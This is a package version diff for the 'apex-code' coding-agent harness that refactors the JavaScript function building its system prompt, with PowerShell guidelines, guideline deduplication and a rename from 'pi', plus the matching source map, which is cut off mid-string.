apex-code 0.0.1-alpha.0 → 0.0.1-alpha.10

package/dist/core/system-prompt.js

@@ -2,96 +2,88 @@
  * System prompt construction and project context loading
  */
 import { getDocsPath, getExamplesPath, getReadmePath } from "../config.js";
-import { formatSkillsForPrompt } from "./skills.js";
+import { formatSkillsForPrompt, SKILL_CATALOG_PREFIX_BUDGET_TOKENS } from "./skills.js";
+function dedupeGuidelines(guidelines) {
+    const seen = new Set();
+    const result = [];
+    for (const guideline of guidelines) {
+        const normalized = guideline.trim();
+        if (normalized.length === 0 || seen.has(normalized)) {
+            continue;
+        }
+        seen.add(normalized);
+        result.push(normalized);
+    }
+    return result;
+}
 /** Build the system prompt with tools, guidelines, and context */
 export function buildSystemPrompt(options) {
     const { customPrompt, selectedTools, toolSnippets, promptGuidelines, appendSystemPrompt, cwd, contextFiles: providedContextFiles, skills: providedSkills, } = options;
     const promptCwd = cwd.replace(/\\/g, "/");
-    const appendSection = appendSystemPrompt ? `\n\n${appendSystemPrompt}` : "";
     const contextFiles = providedContextFiles ?? [];
     const skills = providedSkills ?? [];
-    if (customPrompt) {
-        let prompt = customPrompt;
-        if (appendSection) {
-            prompt += appendSection;
-        }
-        // Append project context files
-        if (contextFiles.length > 0) {
-            prompt += "\n\n<project_context>\n\n";
-            prompt += "Project-specific instructions and guidelines:\n\n";
-            for (const { path: filePath, content } of contextFiles) {
-                prompt += `<project_instructions path="${filePath}">\n${content}\n</project_instructions>\n\n`;
-            }
-            prompt += "</project_context>\n";
-        }
-        // Append skills section (only if read tool is available)
-        const customPromptHasRead = !selectedTools || selectedTools.includes("read");
-        if (customPromptHasRead && skills.length > 0) {
-            prompt += formatSkillsForPrompt(skills);
-        }
-        prompt += `\nCurrent working directory: ${promptCwd}`;
-        return prompt;
-    }
-    // Get absolute paths to documentation and examples
-    const readmePath = getReadmePath();
-    const docsPath = getDocsPath();
-    const examplesPath = getExamplesPath();
-    // Build tools list based on selected tools.
-    // A tool appears in Available tools only when the caller provides a one-line snippet.
     const tools = selectedTools || ["read", "bash", "edit", "write"];
+    const hasRead = tools.includes("read");
+    // A tool appears in Available tools only when the caller provides a one-line snippet.
     const visibleTools = tools.filter((name) => !!toolSnippets?.[name]);
-    const toolsList = visibleTools.length > 0 ? visibleTools.map((name) => `- ${name}: ${toolSnippets[name]}`).join("\n") : "(none)";
-    // Build guidelines based on which tools are actually available
-    const guidelinesList = [];
-    const guidelinesSet = new Set();
-    const addGuideline = (guideline) => {
-        if (guidelinesSet.has(guideline)) {
-            return;
+    const toolsList = visibleTools.map((name) => `- ${name}: ${toolSnippets[name]}`).join("\n");
+    // Contributed by the active tools and extensions, so they survive a custom prompt.
+    const contributedGuidelines = dedupeGuidelines(promptGuidelines ?? []);
+    let prompt;
+    if (customPrompt) {
+        prompt = customPrompt;
+        if (toolsList.length > 0) {
+            prompt += `\n\nAvailable tools:\n${toolsList}`;
         }
-        guidelinesSet.add(guideline);
-        guidelinesList.push(guideline);
-    };
-    const hasBash = tools.includes("bash");
-    const hasGrep = tools.includes("grep");
-    const hasFind = tools.includes("find");
-    const hasLs = tools.includes("ls");
-    const hasRead = tools.includes("read");
-    // File exploration guidelines
-    if (hasBash && !hasGrep && !hasFind && !hasLs) {
-        addGuideline("Use bash for file operations like ls, rg, find");
-    }
-    for (const guideline of promptGuidelines ?? []) {
-        const normalized = guideline.trim();
-        if (normalized.length > 0) {
-            addGuideline(normalized);
+        if (contributedGuidelines.length > 0) {
+            prompt += `\n\nGuidelines:\n${contributedGuidelines.map((g) => `- ${g}`).join("\n")}`;
         }
     }
-    // Always include these
-    addGuideline("Be concise in your responses");
-    addGuideline("Show file paths clearly when working with files");
-    const guidelines = guidelinesList.map((g) => `- ${g}`).join("\n");
-    let prompt = `You are an expert coding assistant operating inside pi, a coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.
+    else {
+        const hasBash = tools.includes("bash");
+        const hasPowerShell = tools.includes("powershell");
+        const hasGrep = tools.includes("grep");
+        const hasFind = tools.includes("find");
+        const hasLs = tools.includes("ls");
+        const usesShellForExploration = (hasBash || hasPowerShell) && !hasGrep && !hasFind && !hasLs;
+        const shellExplorationGuideline = hasBash && hasPowerShell
+            ? "Use bash or PowerShell for file operations like listing, searching, and finding files"
+            : hasPowerShell
+                ? "Use PowerShell for file operations like listing, searching, and finding files"
+                : "Use bash for file operations like ls, rg, find";
+        const guidelines = dedupeGuidelines([
+            ...(usesShellForExploration ? [shellExplorationGuideline] : []),
+            ...contributedGuidelines,
+            "Be concise in your responses",
+            "Show file paths clearly when working with files",
+        ])
+            .map((g) => `- ${g}`)
+            .join("\n");
+        const readmePath = getReadmePath();
+        const docsPath = getDocsPath();
+        const examplesPath = getExamplesPath();
+        prompt = `You are an expert coding assistant operating inside Apex Code, a provider-agnostic coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.
 
 Available tools:
-${toolsList}
+${toolsList.length > 0 ? toolsList : "(none)"}
 
 In addition to the tools above, you may have access to other custom tools depending on the project.
 
 Guidelines:
 ${guidelines}
 
-Pi documentation (read only when the user asks about pi itself, its SDK, extensions, themes, skills, or TUI):
+Apex Code documentation (read only when the user asks about Apex Code itself, its SDK, extensions, themes, skills, or TUI):
 - Main documentation: ${readmePath}
 - Additional docs: ${docsPath}
 - Examples: ${examplesPath} (extensions, custom tools, SDK)
-- When reading pi docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory
+- When reading Apex Code docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory
 - When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), pi packages (docs/packages.md), environment variables (docs/environment-variables.md)
-- When working on pi topics, read the docs and examples, and follow .md cross-references before implementing
-- Always read pi .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`;
-    if (appendSection) {
-        prompt += appendSection;
+- When working on Apex Code topics, read the docs and examples, and follow .md cross-references before implementing
+- Always read Apex Code .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`;
+    }
+    if (appendSystemPrompt) {
+        prompt += `\n\n${appendSystemPrompt}`;
     }
-    // Append project context files
     if (contextFiles.length > 0) {
         prompt += "\n\n<project_context>\n\n";
         prompt += "Project-specific instructions and guidelines:\n\n";
@@ -100,9 +92,8 @@ Pi documentation (read only when the user asks about pi itself, its SDK, extensi
         }
         prompt += "</project_context>\n";
     }
-    // Append skills section (only if read tool is available)
     if (hasRead && skills.length > 0) {
-        prompt += formatSkillsForPrompt(skills);
+        prompt += formatSkillsForPrompt(skills, SKILL_CATALOG_PREFIX_BUDGET_TOKENS);
     }
     prompt += `\nCurrent working directory: ${promptCwd}`;
     return prompt;

package/dist/core/system-prompt.js.map

@@ -1 +1 @@
-{"version":3,"file":"system-prompt.js","sourceRoot":"","sources":["../../src/core/system-prompt.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * System prompt construction and project context loading\n */\n\nimport { getDocsPath, getExamplesPath, getReadmePath } from \"../config.ts\";\nimport { formatSkillsForPrompt, type Skill } from \"./skills.ts\";\n\nexport interface BuildSystemPromptOptions {\n\t/** Custom system prompt (replaces default). */\n\tcustomPrompt?: string;\n\t/** Tools to include in prompt. Default: [read, bash, edit, write] */\n\tselectedTools?: string[];\n\t/** Optional one-line tool snippets keyed by tool name. */\n\ttoolSnippets?: Record<string, string>;\n\t/** Additional guideline bullets appended to the default system prompt guidelines. */\n\tpromptGuidelines?: string[];\n\t/** Text to append to system prompt. */\n\tappendSystemPrompt?: string;\n\t/** Working directory. */\n\tcwd: string;\n\t/** Pre-loaded context files. */\n\tcontextFiles?: Array<{ path: string; content: string }>;\n\t/** Pre-loaded skills. */\n\tskills?: Skill[];\n}\n\n/** Build the system prompt with tools, guidelines, and context */\nexport function buildSystemPrompt(options: BuildSystemPromptOptions): string {\n\tconst {\n\t\tcustomPrompt,\n\t\tselectedTools,\n\t\ttoolSnippets,\n\t\tpromptGuidelines,\n\t\tappendSystemPrompt,\n\t\tcwd,\n\t\tcontextFiles: providedContextFiles,\n\t\tskills: providedSkills,\n\t} = options;\n\tconst promptCwd = cwd.replace(/\\\\/g, \"/\");\n\n\tconst appendSection = appendSystemPrompt ? `\\n\\n${appendSystemPrompt}` : \"\";\n\n\tconst contextFiles = providedContextFiles ?? [];\n\tconst skills = providedSkills ?? [];\n\n\tif (customPrompt) {\n\t\tlet prompt = customPrompt;\n\n\t\tif (appendSection) {\n\t\t\tprompt += appendSection;\n\t\t}\n\n\t\t// Append project context files\n\t\tif (contextFiles.length > 0) {\n\t\t\tprompt += \"\\n\\n<project_context>\\n\\n\";\n\t\t\tprompt += \"Project-specific instructions and guidelines:\\n\\n\";\n\t\t\tfor (const { path: filePath, content } of contextFiles) {\n\t\t\t\tprompt += `<project_instructions path=\"${filePath}\">\\n${content}\\n</project_instructions>\\n\\n`;\n\t\t\t}\n\t\t\tprompt += \"</project_context>\\n\";\n\t\t}\n\n\t\t// Append skills section (only if read tool is available)\n\t\tconst customPromptHasRead = !selectedTools || selectedTools.includes(\"read\");\n\t\tif (customPromptHasRead && skills.length > 0) {\n\t\t\tprompt += formatSkillsForPrompt(skills);\n\t\t}\n\n\t\tprompt += `\\nCurrent working directory: ${promptCwd}`;\n\n\t\treturn prompt;\n\t}\n\n\t// Get absolute paths to documentation and examples\n\tconst readmePath = getReadmePath();\n\tconst docsPath = getDocsPath();\n\tconst examplesPath = getExamplesPath();\n\n\t// Build tools list based on selected tools.\n\t// A tool appears in Available tools only when the caller provides a one-line snippet.\n\tconst tools = selectedTools || [\"read\", \"bash\", \"edit\", \"write\"];\n\tconst visibleTools = tools.filter((name) => !!toolSnippets?.[name]);\n\tconst toolsList =\n\t\tvisibleTools.length > 0 ? visibleTools.map((name) => `- ${name}: ${toolSnippets![name]}`).join(\"\\n\") : \"(none)\";\n\n\t// Build guidelines based on which tools are actually available\n\tconst guidelinesList: string[] = [];\n\tconst guidelinesSet = new Set<string>();\n\tconst addGuideline = (guideline: string): void => {\n\t\tif (guidelinesSet.has(guideline)) {\n\t\t\treturn;\n\t\t}\n\t\tguidelinesSet.add(guideline);\n\t\tguidelinesList.push(guideline);\n\t};\n\n\tconst hasBash = tools.includes(\"bash\");\n\tconst hasGrep = tools.includes(\"grep\");\n\tconst hasFind = tools.includes(\"find\");\n\tconst hasLs = tools.includes(\"ls\");\n\tconst hasRead = tools.includes(\"read\");\n\n\t// File exploration guidelines\n\tif (hasBash && !hasGrep && !hasFind && !hasLs) {\n\t\taddGuideline(\"Use bash for file operations like ls, rg, find\");\n\t}\n\n\tfor (const guideline of promptGuidelines ?? []) {\n\t\tconst normalized = guideline.trim();\n\t\tif (normalized.length > 0) {\n\t\t\taddGuideline(normalized);\n\t\t}\n\t}\n\n\t// Always include these\n\taddGuideline(\"Be concise in your responses\");\n\taddGuideline(\"Show file paths clearly when working with files\");\n\n\tconst guidelines = guidelinesList.map((g) => `- ${g}`).join(\"\\n\");\n\n\tlet prompt = `You are an expert coding assistant operating inside pi, a coding agent harness. You help users by reading files, executing commands, editing code, and writing new files.\n\nAvailable tools:\n${toolsList}\n\nIn addition to the tools above, you may have access to other custom tools depending on the project.\n\nGuidelines:\n${guidelines}\n\nPi documentation (read only when the user asks about pi itself, its SDK, extensions, themes, skills, or TUI):\n- Main documentation: ${readmePath}\n- Additional docs: ${docsPath}\n- Examples: ${examplesPath} (extensions, custom tools, SDK)\n- When reading pi docs or examples, resolve docs/... under Additional docs and examples/... under Examples, not the current working directory\n- When asked about: extensions (docs/extensions.md, examples/extensions/), themes (docs/themes.md), skills (docs/skills.md), prompt templates (docs/prompt-templates.md), TUI components (docs/tui.md), keybindings (docs/keybindings.md), SDK integrations (docs/sdk.md), custom providers (docs/custom-provider.md), adding models (docs/models.md), pi packages (docs/packages.md), environment variables (docs/environment-variables.md)\n- When working on pi topics, read the docs and examples, and follow .md cross-references before implementing\n- Always read pi .md files completely and follow links to related docs (e.g., tui.md for TUI API details)`;\n\n\tif (appendSection) {\n\t\tprompt += appendSection;\n\t}\n\n\t// Append project context files\n\tif (contextFiles.length > 0) {\n\t\tprompt += \"\\n\\n<project_context>\\n\\n\";\n\t\tprompt += \"Project-specific instructions and guidelines:\\n\\n\";\n\t\tfor (const { path: filePath, content } of contextFiles) {\n\t\t\tprompt += `<project_instructions path=\"${filePath}\">\\n${content}\\n</project_instructions>\\n\\n`;\n\t\t}\n\t\tprompt += \"</project_context>\\n\";\n\t}\n\n\t// Append skills section (only if read tool is available)\n\tif (hasRead && skills.length > 0) {\n\t\tprompt += formatSkillsForPrompt(skills);\n\t}\n\n\tprompt += `\\nCurrent working directory: ${promptCwd}`;\n\n\treturn prompt;\n}\n"]}
+{"version":3,"file":"system-prompt.js","sourceRoot":"","sources":["../../src/core/system-prompt.ts"],"names":[],"mappings":"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","sourcesContent":["/**\n * System prompt construction and project context loading\n */\n\nimport { getDocsPath, getExamplesPath, getReadmePath } from \"../config.ts\";\nimport { formatSkillsForPrompt, SKILL_CATALOG_PREFIX_BUDGET_TOKENS, type Skill } from \"./skills.ts\";\n\nexport interface BuildSystemPromptOptions {\n\t/** Custom system prompt (replaces the Apex-authored prose, not the tool contributions). */\n\tcustomPrompt?: string;\n\t/** Tools to include in prompt. Default: [read, bash, edit, write] */\n\tselectedTools?: string[];\n\t/** Optional one-line tool snippets keyed by tool name. */\n\ttoolSnippets?: Record<string, string>;\n\t/** Additional guideline bullets contributed by active tools and extensions. */\n\tpromptGuidelines?: string[];\n\t/** Text to append to system prompt. */\n\tappendSystemPrompt?: string;\n\t/** Working directory. */\n\tcwd: string;\n\t/** Pre-loaded context files. */\n\tcontextFiles?: Array<{ path: string; content: string }>;\n\t/** Pre-loaded skills. */\n\tskills?: Skill[];\n}\n\nfunction dedupeGuidelines(guidelines: readonly string[]): string[] {\n\tconst seen = new Set<string>();\n\tconst result: string[] = [];\n\tfor (const guideline of guidelines) {\n\t\tconst normalized = guideline.trim();\n\t\tif (normalized.length === 0 || seen.has(normalized)) {\n\t\t\tcontinue;\n\t\t}\n\t\tseen.add(normalized);\n\t\tresult.push(normalized);\n\t}\n\treturn result;\n}\n\n/** Build the system prompt with tools, guidelines, and context */\nexport function buildSystemPrompt(options: BuildSystemPromptOptions): string {\n\tconst {\n\t\tcustomPrompt,\n\t\tselectedTools,\n\t\ttoolSnippets,\n\t\tpromptGuidelines,\n\t\tappendSystemPrompt,\n\t\tcwd,\n\t\tcontextFiles: providedContextFiles,\n\t\tskills: providedSkills,\n\t} = options;\n\tconst promptCwd = cwd.replace(/\\\\/g, \"/\");\n\n\tconst contextFiles = providedContextFiles ?? [];\n\tconst skills = providedSkills ?? [];\n\n\tconst tools = selectedTools || [\"read\", \"bash\", \"edit\", \"write\"];\n\tconst hasRead = tools.includes(\"read\");\n\n\t// A tool appears in Available tools only when the caller provides a one-line snippet.\n\tconst visibleTools = tools.filter((name) => !!toolSnippets?.[name]);\n\tconst toolsList = visibleTools.map((name) => `- ${name}: ${toolSnippets![name]}`).join(\"\\n\");\n\n\t// Contributed by the active tools and extensions, so they survive a custom prompt.\n\tconst contributedGuidelines = dedupeGuidelines(promptGuidelines ?? []);\n\n\tlet prompt: string;\n\n\tif (customPrompt) {\n\t\tprompt = customPrompt;\n\n\t\tif (toolsList.length > 0) {\n\t\t\tprompt += `\\n\\nAvailable tools:\\n${toolsList}`;\n\t\t}\n\n\t\tif (contributedGuidelines.length > 0) {\n\t\t\tprompt += `\\n\\nGuidelines:\\n${contributedGuidelines.map((g) => `- ${g}`).join(\"\\n\")}`;\n\t\t}\n\t} else {\n\t\tconst hasBash = tools.includes(\"bash\");\n\t\tconst hasPowerShell = tools.includes(\"powershell\");\n\t\tconst hasGrep = tools.includes(\"grep\");\n\t\tconst hasFind = tools.includes(\"find\");\n\t\tconst hasLs = tools.includes(\"ls\");\n\t\tconst usesShellForExploration = (hasBash || hasPowerShell) && !hasGrep && !hasFind && !hasLs;\n\t\tconst shellExplorationGuideline =\n\t\t\thasBash && hasPowerShell\n\t\t\t\t? \"Use bash or PowerShell for file operations like listing, searching, and finding files\"\n\t\t\t\t: hasPowerShell\n\t\t\t\t\t? \"Use PowerShell for file operations like listing, searching, and finding files\"\n\t\t\t\t\t: \"Use bash for file operations like ls, rg, find\";\n\n\t\tconst guidelines = 